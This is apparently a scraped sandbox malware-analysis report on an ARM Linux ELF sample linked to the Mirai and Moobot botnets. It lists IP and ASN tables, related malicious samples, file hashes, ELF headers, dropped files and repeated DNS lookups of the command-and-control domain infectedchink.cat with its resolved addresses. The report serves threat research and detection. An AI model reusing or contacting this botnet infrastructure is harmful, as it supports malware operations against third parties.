208.144.115.185	unknown	United States	7105	DOWJONES-ASUS	false
60.253.136.164	unknown	China	17964	DXTNETBeijingDian-Xin-TongNetworkTechnologiesCoLtd	false
46.158.137.188	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
60.20.107.219	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
201.0.178.44	unknown	Brazil	27699	TELEFONICABRASILSABR	false
155.34.127.79	unknown	United States	24324	KORDIA-TRANSIT-AS-APKordiaLimitedNZ	false
35.38.92.85	unknown	United States	36375	UMICH-AS-5US	false
220.134.232.145	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
6.97.232.6	unknown	United States	3356	LEVEL3US	false
179.217.180.101	unknown	Brazil	28573	CLAROSABR	false
96.32.117.120	unknown	United States	20115	CHARTER-20115US	false
213.22.127.23	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
34.153.69.76	unknown	United States	2686	ATGS-MMD-ASUS	false
100.0.245.100	unknown	United States	701	UUNETUS	false
37.13.49.2	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
89.82.138.20	unknown	France	5410	BOUYGTEL-ISPFR	false
208.93.194.75	unknown	United States	46562	TOTAL-SERVER-SOLUTIONSUS	false
91.251.171.185	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
146.85.254.165	unknown	United States	600	OARNET-ASUS	false
120.106.164.99	unknown	Taiwan; Republic of China (ROC)	17716	NTU-TWNationalTaiwanUniversityTW	false
104.189.177.109	unknown	United States	7018	ATT-INTERNET4US	false
137.184.15.82	unknown	United States	11003	PANDGUS	false
36.95.190.126	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	false
171.67.167.13	unknown	United States	32	STANFORDUS	false
104.86.202.88	unknown	United States	33651	CMCSUS	false
32.217.248.221	unknown	United States	46690	SNET-FCCUS	false
42.7.192.246	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
102.97.103.17	unknown	Morocco	36925	ASMediMA	false
176.65.40.65	unknown	Russian Federation	39701	SKYLINE-ASInternetServiceProviderTomskRussiaRU	false
208.99.44.16	unknown	Reserved	46844	ST-BGPUS	false
12.6.42.249	unknown	United States	7018	ATT-INTERNET4US	false
166.132.203.247	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
56.249.74.179	unknown	United States	2686	ATGS-MMD-ASUS	false
60.11.91.175	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
194.6.7.39	unknown	United Kingdom	1273	CWVodafoneGroupPLCEU	false
5.36.21.119	unknown	Oman	28885	OMANTEL-NAP-ASOmanTelNAPOM	false
52.247.50.59	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.239.168.181	unknown	Canada	852	ASN852CA	false
142.97.157.251	unknown	Canada	5769	VIDEOTRONCA	false
166.223.193.183	unknown	United States	6614	USCC-ASNUS	false
86.219.165.11	unknown	France	3215	FranceTelecom-OrangeFR	false
19.163.186.95	unknown	United States	3	MIT-GATEWAYSUS	false
14.3.144.17	unknown	Japan	4685	ASAHI-NETAsahiNetJP	false
162.109.0.142	unknown	United States	13325	STOMIUS	false
25.191.184.205	unknown	United Kingdom	7922	COMCAST-7922US	false
211.0.69.178	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
137.189.190.32	unknown	Hong Kong	3661	ERX-CUHKNETTheChineseUniversityofHongKongHK	false
39.191.145.128	unknown	China	56041	CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC	false
168.192.150.57	unknown	United States	27435	OPSOURCE-INCUS	false
15.80.0.93	unknown	United States	13979	ATT-IPFRUS	false
149.153.99.133	unknown	Ireland	1213	HEANETIE	false
40.153.100.110	unknown	United States	4249	LILLY-ASUS	false
171.233.135.10	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
129.71.233.227	unknown	United States	7925	WVNETUS	false
98.239.17.211	unknown	United States	7922	COMCAST-7922US	false
187.5.120.71	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
34.207.163.63	unknown	United States	14618	AMAZON-AESUS	false
178.72.161.141	unknown	Armenia	47975	KT-AS-47975AM	false
141.125.130.119	unknown	United States	36351	SOFTLAYERUS	false
4.30.244.203	unknown	United States	3356	LEVEL3US	false
24.29.43.156	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
147.195.230.107	unknown	United States	15128	COMWAVE-BGP-01CA	false
169.20.156.180	unknown	United States	37611	AfrihostZA	false
131.37.41.227	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
123.131.27.90	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
214.87.130.22	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
61.108.203.33	unknown	Korea Republic of	9316	DACOM-PUBNETPLUS-AS-KRDACOM-PUBNETPLUSKR	false
222.80.71.254	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
78.146.187.26	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
92.173.82.32	unknown	France	3215	FranceTelecom-OrangeFR	false
47.190.123.102	unknown	United States	5650	FRONTIER-FRTRUS	false
197.150.0.33	unknown	Egypt	37069	MOBINILEG	false
49.195.165.168	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
7.56.145.130	unknown	United States	3356	LEVEL3US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
32.225.78.54	TwlnaihoCK	Get hash	malicious	Mirai	Browse
154.188.193.202	9NBG1QPg4X.elf	Get hash	malicious	Mirai	Browse
41.102.161.61	SecuriteInfo.com.Linux.Siggen.9999.24976.3645.elf	Get hash	malicious	Mirai	Browse
	fyjuX2c2uD.elf	Get hash	malicious	Mirai, Moobot	Browse
	sM1QqlH3tp	Get hash	malicious	Mirai	Browse
	n4sjjXtXSE	Get hash	malicious	Unknown	Browse
	wsVomvavHj	Get hash	malicious	Mirai	Browse
60.20.107.219	arm7-20220430-0850	Get hash	malicious	Mirai Moobot	Browse
111.43.58.15	fil1	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
infectedchink.cat	hbqK0qfLnv.elf	Get hash	malicious	Mirai	Browse	45.81.39.249
	Kjwmq1a2jk.elf	Get hash	malicious	Unknown	Browse	5.181.80.81
	H7SG1eAjgO.elf	Get hash	malicious	Unknown	Browse	5.181.80.134
	2SQovgFZiG.elf	Get hash	malicious	Unknown	Browse	5.181.80.126
	fZHtaEHnMB.elf	Get hash	malicious	Mirai	Browse	5.181.80.102
	FLoMhvjdvV.elf	Get hash	malicious	Unknown	Browse	80.76.51.244
	h9B2LbKXK1.elf	Get hash	malicious	Unknown	Browse	5.181.80.81
	W0UscmetbC.elf	Get hash	malicious	Mirai	Browse	5.181.80.102
	OZddTe6F61.elf	Get hash	malicious	Unknown	Browse	80.76.51.244
	8f5VKEh6gn.elf	Get hash	malicious	Mirai	Browse	5.181.80.102
	pfuAEWjdyS.elf	Get hash	malicious	Unknown	Browse	5.181.80.133
	jR1Ghmw58y.elf	Get hash	malicious	Unknown	Browse	5.181.80.130
	6cKbLUTY08.elf	Get hash	malicious	Mirai	Browse	45.81.39.249
	BkRUK2213N.elf	Get hash	malicious	Mirai	Browse	5.181.80.134
	KnT6VUf0KU.elf	Get hash	malicious	Mirai	Browse	5.181.80.133
	arm7.elf	Get hash	malicious	Mirai	Browse	5.181.80.134
	arm.elf	Get hash	malicious	Mirai	Browse	5.181.80.133
	x86.elf	Get hash	malicious	Mirai	Browse	45.81.39.249
	6XXFpOCDeW.elf	Get hash	malicious	Mirai	Browse	5.181.80.130

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AHSCA	LAxYnaQh2N.elf	Get hash	malicious	Mirai, Moobot	Browse	164.103.224.63
	db0fa4b8db0333367e9bda3ab68b8042.sh4	Get hash	malicious	Mirai	Browse	139.56.7.71
	xd71bUi4mH.elf	Get hash	malicious	Mirai	Browse	139.50.14.119
	3euWJJGI7C.elf	Get hash	malicious	Mirai	Browse	142.199.3.71
	5LW1482x87.elf	Get hash	malicious	Mirai	Browse	139.50.118.114
	Abwbint523.elf	Get hash	malicious	Mirai	Browse	142.199.3.41
	HbywwY4bnX.elf	Get hash	malicious	Mirai	Browse	164.103.58.6
	sora.arm.elf	Get hash	malicious	Mirai	Browse	164.103.236.59
	kTjNHIp9XN.elf	Get hash	malicious	Mirai	Browse	164.103.236.44
	arm.elf	Get hash	malicious	Mirai	Browse	164.103.42.195
	ZoQ7612pNw.elf	Get hash	malicious	Mirai	Browse	164.103.212.58
	sora.arm.elf	Get hash	malicious	Mirai	Browse	164.103.236.57
	EmB7Wg23kd.elf	Get hash	malicious	Mirai	Browse	139.50.190.239
	A7q13PjuOj.elf	Get hash	malicious	Mirai, Moobot	Browse	139.50.136.180
	zxc.x86.elf	Get hash	malicious	Mirai	Browse	139.50.14.100
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai	Browse	164.103.236.37
	P6nyrugx5s.elf	Get hash	malicious	Mirai	Browse	164.102.110.0
	zQOBBI8OB1.elf	Get hash	malicious	Mirai, Moobot	Browse	139.48.162.183
	HiPcpHNOdE.elf	Get hash	malicious	Mirai	Browse	164.103.42.199
	zJ4xFNfs2v.elf	Get hash	malicious	Unknown	Browse	139.49.34.102
TE-ASTE-ASEG	skid.arm.elf	Get hash	malicious	Moobot	Browse	41.237.63.165
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	41.40.24.15
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	197.53.179.48
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.41.50.154
	7Ueun89KE3.elf	Get hash	malicious	Mirai	Browse	197.51.4.222
	kTnqWHyjjG.elf	Get hash	malicious	Mirai	Browse	197.51.4.222
	BpSsm2RxvM.elf	Get hash	malicious	Mirai	Browse	156.223.192.118
	yWVLQIrdCC.elf	Get hash	malicious	Mirai	Browse	197.40.144.180
	PbuHBAK54f.elf	Get hash	malicious	Mirai	Browse	41.42.142.169
	v5S9SdJgPx.elf	Get hash	malicious	Mirai	Browse	156.198.173.251
	SIFex0dc75.elf	Get hash	malicious	Mirai	Browse	197.55.123.235
	BMXYo1Gliu.elf	Get hash	malicious	Mirai	Browse	197.55.171.162
	wqZAwYmjjD.elf	Get hash	malicious	Mirai	Browse	196.218.57.188
	x86.elf	Get hash	malicious	Mirai	Browse	156.194.37.5
	GpREKk6uyn.elf	Get hash	malicious	Mirai	Browse	197.46.254.215
	49WzaP1GI2.elf	Get hash	malicious	Mirai	Browse	41.36.218.207
	oLX4FU0V2k.elf	Get hash	malicious	Mirai	Browse	154.181.39.147
	yP1n2CG3Da.elf	Get hash	malicious	Mirai	Browse	156.220.116.34
	jo7EyIiUsZ.elf	Get hash	malicious	Mirai	Browse	197.60.107.65
	R6rFR8cH9t.elf	Get hash	malicious	Mirai	Browse	41.44.156.42
VERSATELDE	skid.arm.elf	Get hash	malicious	Moobot	Browse	89.245.255.244
	OOtCSoKbT8.elf	Get hash	malicious	Mirai	Browse	94.135.128.14
	WzpinhzvZl.elf	Get hash	malicious	Mirai	Browse	62.217.32.0
	XzViPfICKb.elf	Get hash	malicious	Mirai	Browse	94.134.74.17
	SIFex0dc75.elf	Get hash	malicious	Mirai	Browse	62.214.1.102
	L8PCdNq0xs.elf	Get hash	malicious	Mirai	Browse	87.123.162.14
	0MNcEkBEXT.elf	Get hash	malicious	Mirai	Browse	109.250.184.154
	cX2zCKQ7Z2.elf	Get hash	malicious	Mirai	Browse	87.123.37.152
	skid.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	194.31.30.239
	skid.x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	94.134.37.83
	0xc2s.arm7.elf	Get hash	malicious	Mirai	Browse	83.135.32.110
	apavlH3Bzb.elf	Get hash	malicious	Mirai	Browse	83.135.227.241
	Kb3RZ8k5pZ.elf	Get hash	malicious	Mirai	Browse	89.247.55.126
	N7B7a9u4Sa.elf	Get hash	malicious	Mirai	Browse	82.140.21.60
	jDKTcSFHLy.elf	Get hash	malicious	Mirai, Okiru	Browse	62.214.12.182
	mpsl.elf	Get hash	malicious	Unknown	Browse	82.140.33.46
	sora.mips.elf	Get hash	malicious	Mirai	Browse	87.122.247.246
	01KGqeBrDH.elf	Get hash	malicious	Mirai	Browse	87.123.149.40
	idksexqlrS.elf	Get hash	malicious	Mirai	Browse	94.134.62.32
	WNvt5lJRrT.elf	Get hash	malicious	Mirai	Browse	62.72.75.73

Process:	/tmp/Zs1Z9sd1Do.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.6134850271421612
Encrypted:	false
SSDEEP:	6:PvN2+WX6y/VUR42+WX6F6/VjmsVot/VOArB/VH:vTRgFpl
MD5:	A3A413CC4F1A524718061BB3184FE4A6
SHA1:	5350E2EA28DC5493745BBA822B3770EA77B44C65
SHA-256:	DA964C702AF46AEB6EAEE895F8F3B5F508758DF0A74BBB7DDB63376C608BA4E6
SHA-512:	D484965C7B8ADD58C9E7CF07C1E07CDAAE153BBCA5E1F45E327D40D9862BB07929909B70443E10774DDCA36C2DE394609CA009F0E1596C19D4A0F7ADA49ADC62
Malicious:	false
Reputation:	low
Preview:	8000-1d000 r-xp 00000000 fd:00 531601 /tmp/Zs1Z9sd1Do.elf.24000-25000 rw-p 00014000 fd:00 531601 /tmp/Zs1Z9sd1Do.elf.25000-2b000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.97657505687263
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Zs1Z9sd1Do.elf
File size:	136'914 bytes
MD5:	2e03de9f75322f79922b7ebe0259078d
SHA1:	de52b43daa53b92e9ca7eec11dad92d2dc12480d
SHA256:	1cc732318f1348d4623e8cf7f12c5e718e214f380065124e8bb9466f8b0d2eca
SHA512:	83fc93bbc87908648c838fd025fd833a5d3e2c1430d235ec31e78fb38462b5d5a55a92c8813e023ea63bcbc653bc84cd2d5b2b8c58f30cf317e036680bc0718a
SSDEEP:	3072:WVt/nWOve0kNxvsWnFMf/k1vD3u5CMqKl07/IFM/9A/tM:ot/nhve0ExUWn6f/k1vDe5J07/8M/9AW
TLSH:	2CD34B46FA418B17C0D517BABA9F428933239764D3DB33078918AFB43F86A6F0E67505
File Content Preview:	.ELF..............(.........4...........4. ...(........p.G...........................................H...H...............H...H...H.......B...............H...H...H..................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	108200
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x13508	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1b5f8	0x135f8	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1b608	0x13608	0x1164	0x0	0x2	A	0	0	4
.ARM.extab	PROGBITS	0x1c76c	0x1476c	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x1c784	0x14784	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x2489c	0x1489c	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x248a0	0x148a0	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x248a0	0x148a0	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x248a4	0x148a4	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x248a8	0x148a8	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x248ac	0x148ac	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x24954	0x14954	0x154	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x24aa8	0x14aa8	0x40a4	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x14aa8	0xa00	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x154a8	0xa0	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x15548	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x1575b	0x1c5a	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x173b5	0x67e	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x17a33	0x908	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1833c	0x28c	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x185c8	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x18e92	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x1a021	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1a579	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1a58f	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1ab30	0x4830	0x10	0x0		28	674	4
.strtab	STRTAB	0x0	0x1f360	0x2372	0x0	0x0		0	0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x14784	0x1c784	0x1c784	0x118	0x118	4.4877	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x1489c	0x1489c	6.0985	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x1489c	0x2489c	0x2489c	0x20c	0x42b0	2.6867	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x148a0	0x248a0	0x248a0	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Zs1Z9sd1Do.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.01aOee (deleted)

/tmp/qemu-open.02Bjzi (deleted)

/tmp/qemu-open.06Ap4e (deleted)

/tmp/qemu-open.0A0OKh (deleted)

/tmp/qemu-open.0B7pFg (deleted)

/tmp/qemu-open.0MKpXh (deleted)

/tmp/qemu-open.0OKWYe (deleted)

/tmp/qemu-open.0V8Moe (deleted)

/tmp/qemu-open.0W47zg (deleted)

/tmp/qemu-open.0eolSf (deleted)

/tmp/qemu-open.0hmEnh (deleted)

/tmp/qemu-open.0jtKTh (deleted)

/tmp/qemu-open.0qBK5e (deleted)

/tmp/qemu-open.19A6xe (deleted)

/tmp/qemu-open.1L7bze (deleted)

/tmp/qemu-open.1Zk6ef (deleted)

/tmp/qemu-open.1dUv3e (deleted)

/tmp/qemu-open.1g4EPg (deleted)

/tmp/qemu-open.1w6Seh (deleted)

/tmp/qemu-open.1xngki (deleted)

/tmp/qemu-open.2ARrzh (deleted)

/tmp/qemu-open.2AvfKe (deleted)

/tmp/qemu-open.2CsTCi (deleted)

/tmp/qemu-open.2KkuXf (deleted)

/tmp/qemu-open.2bY6Rf (deleted)

Linux Analysis Report
Zs1Z9sd1Do.elf

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2023 00:43:47.531183958 CET	192.168.2.13	8.8.8.8	0x4506	Standard query (0)	infectedchink.cat	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:43:53.536865950 CET	192.168.2.13	8.8.8.8	0x26a4	Standard query (0)	infectedchink.cat	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.542352915 CET	192.168.2.13	8.8.8.8	0x1796	Standard query (0)	infectedchink.cat	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:16.634533882 CET	192.168.2.13	8.8.8.8	0x45df	Standard query (0)	infectedchink.cat	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:29.754781961 CET	192.168.2.13	8.8.8.8	0xc63c	Standard query (0)	infectedchink.cat	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:45.770199060 CET	192.168.2.13	8.8.8.8	0x3fdc	Standard query (0)	infectedchink.cat	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.879396915 CET	192.168.2.13	8.8.8.8	0x85e6	Standard query (0)	infectedchink.cat	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	102.129.168.6	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	37.221.95.74	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	5.181.80.55	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	5.181.80.130	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	5.181.80.59	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	5.181.80.54	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	5.181.80.81	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	62.72.164.3	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	91.92.254.4	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	5.181.80.77	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	5.181.80.53	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:03.660980940 CET	8.8.8.8	192.168.2.13	0x1796	No error (0)	infectedchink.cat	45.142.182.96	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	91.92.254.4	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	5.181.80.59	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	5.181.80.130	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	5.181.80.55	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	37.221.95.74	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	102.129.168.6	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	5.181.80.54	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	62.72.164.3	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	5.181.80.81	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	45.142.182.96	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	5.181.80.77	A (IP address)	IN (0x0001)	false
Nov 25, 2023 00:44:53.989237070 CET	8.8.8.8	192.168.2.13	0x85e6	No error (0)	infectedchink.cat	5.181.80.53	A (IP address)	IN (0x0001)	false